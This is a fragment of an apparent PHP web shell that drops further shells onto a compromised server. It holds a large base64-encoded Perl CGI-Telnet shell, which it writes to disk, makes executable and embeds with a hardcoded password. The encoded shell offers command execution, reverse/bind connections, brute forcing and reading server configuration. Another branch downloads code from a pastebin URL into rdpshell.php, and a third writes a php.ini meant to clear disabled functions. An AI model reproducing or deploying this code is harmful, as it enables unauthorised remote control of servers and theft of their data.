GZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBTYWxzYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7DQoJaWYoLWQgJHBhdGgpDQoJew0KCQlteSBAZm5hbWUgPSAoKTsNCgkJbXkgQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCgkJew0KCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCQl7DQoJCQkJJGY9JHBhdGguJGZpbGU7DQoJCQkJaWYoLWQgJGYpDQoJCQkJew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoNCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+PGZvbnQgZmFjZT1TYWxzYT5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+PGZvbnQgZmFjZT1TYWxzYT5GaWxlIFNpemU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+PGZvbnQgZmFjZT1TYWxzYT5Pd25lcjwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz48Zm9udCBmYWNlPVNhbHNhPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+PGZvbnQgZmFjZT1TYWxzYT5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPjxmb250IGZhY2U9U2Fsc2E+QWN0aW9uPC90aD48L3RyPiI7DQoJCW15ICRzdHlsZT0ibGluZSI7DQoJCW15ICRpPTA7DQoJCWZvcmVhY2ggbXkgJGQgKEBkbmFtZSkNCgkJew0KCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsNCgkJCSRkID0gJnRyaW0oJGQpOw0KCQkJJGRpcm5hbWU9JGQ7DQoJCQlpZigkZCBlcSAiLi4iKSANCgkJCXsNCgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOw0KCQkJfQ0KCQkJZWxzaWYoJGQgZXEgIi4iKSANCgkJCXsNCgkJCQkkZCA9ICRwYXRoOw0KCQkJfQ0KCQkJZWxzZSANCgkJCXsNCgkJCQkkZCA9ICRwYXRoLiRkOw0KCQkJfQ0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPg0KDQoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IFNhbHNhOyBmb250LXdlaWdodDogYm9sZDsnPjxhICBocmVmPSc/YT1ndWkmZD0iLiRkLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPjxhIGhyZWY9J2phdmFzY3JpcHQ6cmV0dXJuIGZhbHNlOycgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZGlybmFtZScsJyIuJkFkZFNsYXNoZXMoJkFkZFNsYXNoZXMoJGQpKS4iJylcIj5SZW5hbWU8L2E+ICB8IDxhIG9uY2xpY2s9XCJpZighY29uZmlybSgnUmVtb3ZlIGRpcjogJGRpcm5hbWUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQkkdmlldyA9ICI/ZGlyPSIuJHBhdGguIiZ2aWV3PSIuJGY7DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBzdHlsZT0nZm9udDogMTFwdCBTYWxzYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBTYWxzYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbnMgLSBVc2VyczwvZm9udD48L2g1PiI7DQoJaWYgKCRlcnIpDQoJew0KCQkkcmVzdWx0IC49ICAoJzxwPkMwdWxkblwndCBCeXBhc3MgaXQgLCBTb3JyeTwvcD4nKTsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPjxmb250IGZhY2U9c2Fsc2E+RG9tYWluczwvdGg+IDx0aD48Zm9udCBmYWNlPXNhbHNhPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgU2Fsc2E7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KA0KCQkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2xvZycsDQoJCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycNCgkJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXcgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCWNob3AoJHNsID0gYGxuIC1zICRsb2cgZXJyb3JfbG9nXyRpYCk7DQoJCQlpZigmdHJpbSgkbHMpIGVxICIiKQ0KCQkJew0KCQkJCWlmKC1yICRscykNCgkJCQl7DQoJCQkJCSRwZXJtcz0iT0siOw0KCQkJCQkkbG9nPSJlcnJvcl9sb2dfIi4kaTsNCgkJCQl9DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQkJfQ0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ18kaScpLnZhbHVlPSdsZXNzICcgKyB0aGlzLnZhbHVlOyIgdmFsdWU9IiRsb2ciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0ibG9nXyRpIiBuYW1lPSJjIiB2YWx1ZT0ibGVzcyAkbG9nIi8+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkPg0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gJGlueydjJ307DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJnRyaW0oJGlueydkJ30pOw0KIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hDQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOw0KY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOw0KDQokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7DQoNCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxvZ2luOw0KfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJaWYoISRXaW5OVCkNCgl7DQoJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsNCgkJaWYoISgkY2htb2QgZXEgMCkpDQoJCXsNCgkJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsNCgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOw0KCQkJaWYoJnRyaW0oJHJlc3VsdCkgZXEgIiIpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQ0KCQl9DQoJfQ0KCSRyZW5hbWU9JGlueydyZW5hbWUnfTsNCglpZighJHJlbmFtZSBlcSAiIikNCgl7DQoJCWlmKHJlbmFtZSgkVHJhbnNmZXJGaWxlLCRyZW5hbWUpKQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCX1lbHNlDQoJCXsNCgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCX0NCgl9DQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9Ow0KCWlmKCRyZW1vdmUgbmUgIiIpDQoJew0KCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOw0KCQlpZigtZCAkcm0pDQoJCXsNCgkJCSZSbURpcigkcm0pOw0KCQl9ZWxzZQ0KCQl7DQoJCQlpZih1bmxpbmsoJHJtKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9CQkJDQoJCX0NCgl9DQoJcHJpbnQgJkxpc3REaXI7DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kDQp7DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCXByaW50ICZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkNCgl7DQoJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgl9ZWxzZQ0KCXsNCgkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgl9DQoJcHJpbnQgJkxpc3REaXI7DQp9DQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCg0KCXByaW50ICZVcGxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiYnJ1dGVmb3JjZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gYnJ1dGUgZm9yY2UNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZCcnV0ZUZvcmNlcjsNCn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlDQp7DQoJcHJpbnQgJkRvd25sb2FkRmlsZTsNCn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdMb2c7DQoNCn1lbHNpZigkQWN0aW9uIGVxICJkb21haW5zdXNlciIpIAkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxpc3QgdXNlci9kb21haW4NCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3RG9tYWluVXNlcjsNCn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ0KJlByaW50UGFnZUZvb3Rlcjs=';
$file = fopen("cgishell.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgishell));
fclose($file);
chmod("cgishell.izo",0755);
echo "<link href='http://fonts.googleapis.com/css?family=Salsa' rel='stylesheet' type='text/css'><br><center><span style='font-size:30px; font-family:Salsa; color:white'>CGI-Telnet Final | Coded by Cahyo Dwi Putro </span><br><font face='Tahoma' color='#007700' size='2pt'>Password : cahyotkj</font><center><br><iframe src=cgishell/cgishell.izo width=75% height=60% frameborder=0></iframe>
</div></center>";
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'rdpshell'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&x=rdpshell" method="post">
<?php
$rdpshell = file_get_contents('http://pastebin.com/raw.php?i=Vw33D5Er');
$w = fopen("rdpshell.php", "w");
fwrite($w,($rdpshell));
chmod("rdpshell.php", 0755);
echo '<br><br><br><center><font color="lime"> RDP Shell 2015 Created Successfully! - <a href="rdpshell.php" target="_blank"><font color="red">| Open Shell Here |</font></a>';
exit;
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'servererror'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&x=servererror" method="post">
<br><br>
<center><body bgcolor=black> <td> <form method=post><input class="inputzbut" type=submit name=ini value="Bypass Now" /></form><br><br></td>
<?php
if(isset($_POST['ini']))
{
$r=fopen('php.ini','w');
$rr=" disbale_functions=none ";
fwrite($r,$rr);
$link="<a href=php.ini target=_blank><font color=silver size=2 face=\"Salsa\"><u>Success, Click Here!</u></font></a>";
echo $link;
}
?>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'encode'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&x=encode" method="post">
<?php
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$text = $_POST['code'];
?>
<center>
<form method="post"><br><br>
